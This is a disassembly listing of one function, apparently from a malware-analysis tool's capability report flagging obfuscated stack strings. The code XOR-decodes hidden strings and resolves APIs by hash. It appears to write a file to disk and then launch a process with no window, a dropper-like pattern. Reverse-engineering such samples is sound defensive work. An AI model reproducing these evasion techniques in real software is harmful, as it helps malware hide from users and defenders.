Function at 0x1422da774
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xcb8]
sub rsp, 0xd90
mov r12, rcx
mov esi, 0x208
mov r8d, esi
lea rcx, [rbp + 0x280]
xor edx, edx
call fcn.1422d8db8
mov ebx, 0x10
mov dword [rsp + 0x5e], 0x4c5b553e
xor r13d, r13d
mov dword [rsp + 0x62], 0xd525b50
mov dl, 0x3e
mov dword [rsp + 0x66], 0x525a100c
mov word [rsp + 0x6a], 0x3e52
mov eax, r13d
lea edi, [rbx + 0x4a]
lea r14d, [rbx - 0xf]
xor byte [rsp + rax + 0x5f], dl
add rax, r14
cmp rax, 0xc
jae 0x1422da7f9
mov dl, byte [rsp + 0x5e]
jmp 0x1422da7e6
movabs rdx, 0x21c097f1e88d509
mov byte [rsp + 0x6b], r13b
lea rcx, [rsp + 0x5f]
call fcn.1422d1484
lea rdx, [rbp + 0x280]
mov ecx, 0x104
call rax
mov r8, rsi
lea rcx, [rbp + 0x70]
xor edx, edx
call fcn.1422d8db8
mov eax, 0x3c
mov dword [rsp + 0x7a], 0x63003c
mov rcx, r13
mov dword [rsp + 0x7e], 0x480063
mov dword [rbp - 0x7e], 0x510059
mov dword [rbp - 0x7a], 0x63004c
mov dword [rbp - 0x76], 0x51005f
mov dword [rbp - 0x72], 0x120058
mov dword [rbp - 0x6e], 0x440048
mov dword [rbp - 0x6a], 0x3c0048
movsx eax, al
xor word [rsp + rcx*2 + 0x7c], ax
add rcx, r14
cmp rcx, 0xe
jae 0x1422da887
mov al, byte [rsp + 0x7a]
jmp 0x1422da870
mov word [rbp - 0x68], r13w
mov rcx, r13
mov dword [rsp + 0x5e], 0x350010
mov edx, 4
mov dword [rsp + 0x62], 0x350063
mov dword [rsp + 0x66], 0x100063
movsx eax, bl
xor word [rsp + rcx*2 + 0x60], ax
add rcx, r14
cmp rcx, rdx
jae 0x1422da8c2
mov bl, byte [rsp + 0x5e]
jmp 0x1422da8ac
mov esi, 0x29
mov word [rsp + 0x68], r13w
mov cl, sil
mov dword [rsp + 0x51], 0x5b4c5a5c
mov byte [rsp + 0x50], cl
mov rax, r13
mov dword [rsp + 0x55], 0x4d071b1a
mov word [rsp + 0x59], 0x4545
mov byte [rsp + 0x5b], sil
xor byte [rsp + rax + 0x51], cl
add rax, r14
cmp rax, 0xa
jae 0x1422da906
mov cl, byte [rsp + 0x50]
jmp 0x1422da8f3
movabs rdx, 0xbda4b20ba21b
mov byte [rsp + 0x5b], r13b
lea rcx, [rsp + 0x51]
call fcn.1422d1484
lea r9, [rsp + 0x7c]
lea r8, [rbp + 0x280]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x70]
call rax
mov cl, 0x2b
mov dword [rsp + 0x5e], 0x594e402b
mov rax, r13
mov dword [rsp + 0x62], 0x18474e45
mov dword [rsp + 0x66], 0x474f0519
mov word [rsp + 0x6a], 0x2b47
xor byte [rsp + rax + 0x5f], cl
add rax, r14
cmp rax, 0xc
jae 0x1422da96d
mov cl, byte [rsp + 0x5e]
jmp 0x1422da95a
movabs rdx, 0x3c010be14258ca
mov byte [rsp + 0x6b], r13b
lea rcx, [rsp + 0x5f]
call fcn.1422d1484
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x70]
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 3]
call rax
mov r15, rax
mov dword [rbp + 0xcc8], r13d
mov rax, r13
mov dword [rsp + 0x50], 0x54434d26
mov cl, 0x26
mov dword [rsp + 0x54], 0x154a4348
mov r14b, 0x14
mov dword [rsp + 0x58], 0x4a420814
mov word [rsp + 0x5c], 0x264a
xor byte [rsp + rax + 0x51], cl
inc rax
cmp rax, 0xc
jae 0x1422da9f1
mov cl, byte [rsp + 0x50]
jmp 0x1422da9de
mov rcx, r12
mov byte [rsp + 0x5d], r13b
call fcn.1422d8e5c
mov rbx, rax
lea rcx, [rsp + 0x51]
movabs rdx, 0xbda4b18b2fba
add ebx, ebx
call fcn.1422d1484
lea r9, [rbp + 0xcc8]
mov qword [rsp + 0x20], r13
mov r8d, ebx
mov rdx, r12
mov rcx, r15
call rax
mov eax, 0x70
mov dword [rsp + 0x6e], 0x1007a
xor ecx, ecx
mov byte [rsp + 0x6c], al
mov byte [rsp + 0x6d], cl
mov dword [rsp + 0x72], 0x190005
lea edx, [rax - 0x6b]
mov dword [rsp + 0x76], 0x700004
lea r12d, [rax - 0x6f]
movsx eax, al
xor word [rsp + rcx*2 + 0x6e], ax
add rcx, r12
cmp rcx, rdx
jae 0x1422daa72
mov al, byte [rsp + 0x6c]
jmp 0x1422daa5c
mov ecx, 0x27
mov word [rsp + 0x78], r13w
mov dword [rsp + 0x50], 0x55424c27
mov rax, r13
mov dword [rsp + 0x54], 0x144b4249
mov dword [rsp + 0x58], 0x4b430915
lea ebx, [rcx - 0x1e]
mov word [rsp + 0x5c], 0x274b
xor byte [rsp + rax + 0x51], cl
add rax, r12
cmp rax, 0xc
jae 0x1422daab5
mov cl, byte [rsp + 0x50]
jmp 0x1422daaa2
movabs rdx, 0xbda4b18b2fba
mov byte [rsp + 0x5d], r13b
lea rcx, [rsp + 0x51]
call fcn.1422d1484
lea r9, [rbp + 0xcc8]
mov qword [rsp + 0x20], r13
mov r8d, 0xc
lea rdx, [rsp + 0x6e]
mov rcx, r15
call rax
mov rax, r13
mov dword [rsp + 0x50], 0x66717f14
mov dword [rsp + 0x54], 0x2778717a
mov dword [rsp + 0x58], 0x78703a26
mov word [rsp + 0x5c], 0x1478
xor byte [rsp + rax + 0x51], r14b
add rax, r12
cmp rax, 0xc
jae 0x1422dab21
mov r14b, byte [rsp + 0x50]
jmp 0x1422dab0c
movabs rdx, 0x3c010b7507a4b9
mov byte [rsp + 0x5d], r13b
lea rcx, [rsp + 0x51]
call fcn.1422d1484
mov rcx, r15
call rax
xor edx, edx
lea rcx, [rbp + 4]
lea r8d, [rdx + 0x64]
call fcn.1422d8db8
xorps xmm0, xmm0
mov dword [rbp], 0x68
xor eax, eax
lea rcx, [rbp + 0x490]
xor edx, edx
mov qword [rbp - 0x10], rax
mov r8d, 0x800
movups xmmword [rbp - 0x20], xmm0
call fcn.1422d8db8
mov rcx, r13
mov dword [rbp - 0x66], 0x4a0009
mov dword [rbp - 0x62], 0x550033
mov dword [rbp - 0x5e], 0x60005e
mov dword [rbp - 0x5a], 0x6d0067
mov dword [rbp - 0x56], 0x7e0066
mov dword [rbp - 0x52], 0x55007a
mov dword [rbp - 0x4e], 0x70005a
mov dword [rbp - 0x4a], 0x7d007a
mov dword [rbp - 0x46], 0x64006c
mov dword [rbp - 0x42], 0x3b003a
mov dword [rbp - 0x3e], 0x6f0055
mov dword [rbp - 0x3a], 0x79007d
mov dword [rbp - 0x36], 0x6c0027
mov dword [rbp - 0x32], 0x6c0071
mov dword [rbp - 0x2e], 0x240029
mov dword [rbp - 0x2a], 0x33007a
mov dword [rbp - 0x26], 0x7a002c
mov word [rbp - 0x22], bx
movsx eax, bl
xor word [rbp + rcx*2 - 0x64], ax
add rcx, r12
cmp rcx, 0x21
jae 0x1422dac0a
mov bl, byte [rbp - 0x66]
jmp 0x1422dabf4
mov word [rbp - 0x22], r13w
mov rax, r13
mov dword [rsp + 0x50], 0x4c5a5c29
mov dword [rsp + 0x54], 0x71b1a5b
mov dword [rsp + 0x58], 0x2945454d
xor byte [rsp + rax + 0x51], sil
add rax, r12
cmp rax, 0xa
jae 0x1422dac3f
mov sil, byte [rsp + 0x50]
jmp 0x1422dac2a
movabs rdx, 0xbda4b20ba21b
mov byte [rsp + 0x5b], r13b
lea rcx, [rsp + 0x51]
call fcn.1422d1484
lea r8, [rbp + 0x70]
lea rdx, [rbp - 0x64]
lea rcx, [rbp + 0x490]
call rax
mov rax, r13
mov dword [rsp + 0x5e], 0x283f315a
mov dword [rsp + 0x62], 0x69363f34
mov dword [rsp + 0x66], 0x363e7468
mov word [rsp + 0x6a], 0x5a36
xor byte [rsp + rax + 0x5f], dil
add rax, r12
cmp rax, 0xc
jae 0x1422daca0
mov dil, byte [rsp + 0x5e]
jmp 0x1422dac8b
movabs rdx, 0xaadefad479141bc9
mov byte [rsp + 0x6b], r13b
lea rcx, [rsp + 0x5f]
call fcn.1422d1484
lea rcx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rdx, [rbp + 0x490]
lea rcx, [rbp]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
call rax
lea r11, [rsp + 0xd90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret